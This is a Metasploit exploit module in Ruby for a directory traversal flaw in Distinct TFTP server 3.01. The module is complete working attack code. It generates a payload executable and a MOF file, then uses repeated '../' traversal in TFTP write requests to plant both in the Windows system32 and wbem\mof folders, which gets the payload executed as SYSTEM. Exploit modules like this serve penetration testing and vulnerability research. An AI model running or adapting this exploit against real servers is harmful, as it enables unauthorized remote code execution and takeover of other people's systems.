Distinct TFTP 3.01 - Writable Directory Traversal Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Rex::Proto::TFTP
	include Msf::Exploit::EXE
	include Msf::Exploit::WbemExec

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Distinct TFTP 3.01 Writable Directory Traversal Execution",
			'Description'    => %q{
					This module exploits a vulnerability found in Distinct TFTP server.  The
				software contains a directory traversal vulnerability that allows a remote
				attacker to write arbitrary file to the file system, which results in
				code execution under the context of 'SYSTEM'.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'modpr0be',  #Initial discovery, PoC (Tom Gregory)
					'sinn3r'     #Metasploit
				],
			'References'     =>
				[
					['OSVDB', '80984'],
					['EDB', '18718'],
					['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00",
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Distinct TFTP 3.01 on Windows', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 8 2012",
			'DefaultTarget'  => 0))

		register_options([
			OptInt.new('DEPTH', [false, "Levels to reach base directory",10]),
			OptAddress.new('RHOST', [true, "The remote TFTP server address"]),
			OptPort.new('RPORT', [true, "The remote TFTP server port", 69])
		], self.class)
	end

	def upload(filename, data)
		tftp_client = Rex::Proto::TFTP::Client.new(
			"LocalHost"  => "0.0.0.0",
			"LocalPort"  => 1025 + rand(0xffff-1025),
			"PeerHost"   => datastore['RHOST'],
			"PeerPort"   => datastore['RPORT'],
			"LocalFile"  => "DATA:#{data}",
			"RemoteFile" => filename,
			"Mode"       => "octet",
			"Context"    => {'Msf' => self.framework, "MsfExploit" => self },
			"Action"     => :upload
		)

		ret = tftp_client.send_write_request { |msg| print_status(msg) }
		while not tftp_client.complete
			select(nil, nil, nil, 1)
			tftp_client.stop
		end
	end

	def exploit
		peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"

		# Setup the necessary files to do the wbemexec trick
		exe_name = rand_text_alpha(rand(10)+5) + '.exe'
		exe      = generate_payload_exe
		mof_name = rand_text_alpha(rand(10)+5) + '.mof'
		mof      = generate_mof(mof_name, exe_name)

		# Configure how deep we want to traverse
		depth  = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
		levels = "../" * depth

		# Upload the malicious executable to C:\Windows\System32\
		print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
		upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)

		# Let the TFTP server idle a bit before sending another file
		select(nil, nil, nil, 1)

		# Upload the mof file
		print_status("#{peer} - Uploading .mof...")
		upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
	end
end